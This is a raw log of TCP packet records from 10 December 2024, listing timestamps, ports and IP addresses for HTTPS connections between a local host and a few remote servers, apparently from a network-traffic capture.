Dec 10, 2024 07:35:29.445823908 CET	49764	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:29.445843935 CET	443	49764	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:29.447875023 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.447911978 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.448009014 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.448009968 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.448038101 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.448574066 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.455390930 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.455415964 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.455558062 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.455574036 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.455609083 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.455646038 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.455658913 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.455735922 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.456123114 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.456135988 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.463074923 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.463099957 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.463299990 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.463310957 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.463416100 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.469782114 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.469800949 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.469975948 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.469986916 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.471750021 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.477309942 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.477328062 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.477394104 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.477418900 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.477528095 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.501036882 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.501055956 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.501717091 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.501735926 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.501827002 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.508557081 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.508580923 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.509970903 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.509987116 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.510044098 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.511492014 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.511514902 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.511569023 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.511593103 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.511619091 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.511634111 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.516433954 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.516453981 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.516515017 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.516526937 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.516567945 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.520453930 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.520478964 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.520656109 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.520680904 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.520762920 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.610233068 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.610260963 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.610424995 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.610445976 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.610493898 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.614475965 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.614505053 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.614557981 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.614566088 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.614592075 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.614613056 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.619394064 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.619414091 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.619492054 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.619501114 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.619541883 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.624411106 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.624432087 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.624519110 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.624525070 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.624562979 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.628726959 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.628743887 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.628824949 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.628830910 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.628869057 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.633533001 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.633552074 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.633647919 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.633655071 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.633702993 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.640232086 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.640259027 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.640481949 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.640497923 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.640755892 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.647677898 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.647701979 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.647809982 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.647809982 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.647816896 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.648252010 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.655392885 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.655411005 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.655502081 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.655508995 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.656636000 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.662164927 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.662184000 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.662290096 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.662297010 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.666033983 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.669586897 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.669605017 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.669682980 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.669689894 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.670017958 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.693276882 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.693299055 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.693428993 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.693454027 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.694051027 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.700822115 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.700843096 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.700978994 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.700998068 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.702095985 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.703005075 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.703037024 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.703098059 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.703119040 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.703156948 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.707887888 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.707911968 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.707998037 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.708013058 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.708059072 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.713351011 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.713375092 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.713474035 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.713495970 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.714056969 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.801738024 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.801768064 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.801867962 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.801901102 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.801939964 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.806736946 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.806760073 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.806812048 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.806822062 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.806847095 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.806864977 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.814023972 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.814045906 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.814152956 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.814160109 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.814198017 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.816884041 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.816901922 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.816984892 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.816991091 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.817024946 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.821068048 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.821086884 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.821190119 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.821201086 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.821244001 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.825673103 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.825690985 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.825789928 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.825814962 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.825860023 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.832253933 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.832308054 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.832412004 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.832437038 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.832451105 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.832513094 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.839937925 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.839955091 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.840018034 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.840027094 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.840075970 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.840075970 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.847570896 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.847588062 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.847707033 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.847713947 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.847835064 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.854234934 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.854249001 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.854322910 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.854331017 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.854374886 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.861735106 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.861747980 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.861862898 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.861886024 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.861946106 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.886121988 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.886137962 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.886245966 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.886260033 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.886482954 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.892813921 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.892827988 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.892939091 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.892945051 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.893018961 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.895576000 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.895607948 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.895680904 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.895693064 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.895737886 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.900069952 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.900090933 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.900175095 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.900182962 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.900223017 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.904983997 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.905000925 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.905098915 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.905109882 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.905210972 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.994535923 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.994571924 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.994730949 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.994743109 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.994790077 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.998878956 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.998904943 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.998982906 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.998990059 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.999048948 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.003838062 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.003860950 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.003936052 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.003946066 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.003998041 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.008760929 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.008790016 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.008884907 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.008892059 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.008941889 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.013194084 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.013217926 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.013310909 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.013318062 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.013360023 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.018465996 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.018495083 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.018650055 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.018657923 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.018717051 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.024671078 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.024688005 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.024856091 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.024882078 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.025578022 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.032300949 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.032316923 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.032419920 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.032428026 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.034080982 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.038999081 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.039020061 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.039113045 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.039119959 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.039191961 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.046667099 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.046683073 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.046772957 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.046780109 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.050023079 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.054219007 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.054234028 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.054306984 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.054312944 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.058018923 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.086199999 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.086215973 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.086309910 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.086318016 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.086369038 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.087289095 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.087325096 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.087376118 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.087385893 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.087424994 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.087455034 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.092514992 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.092536926 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.092638016 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.092645884 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.092690945 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.094842911 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.094858885 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.094932079 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.094944954 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.098066092 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.101381063 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.101396084 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.101480961 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.101486921 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.102029085 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.186767101 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.186949968 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.187043905 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.187069893 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.187086105 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.187129974 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.191531897 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.191559076 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.191638947 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.191646099 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.191690922 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.195858002 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.195887089 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.195981026 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.195986986 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.196105957 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.200747013 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.200776100 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.200861931 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.200867891 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.200911999 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.205782890 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.205810070 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.205908060 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.205915928 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.205960035 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.210441113 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.210463047 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.210546970 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.210555077 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.210607052 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.216809034 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.216830969 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:30.216926098 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:30.216943979 CET	443	49743	185.199.109.133	192.168.2.5
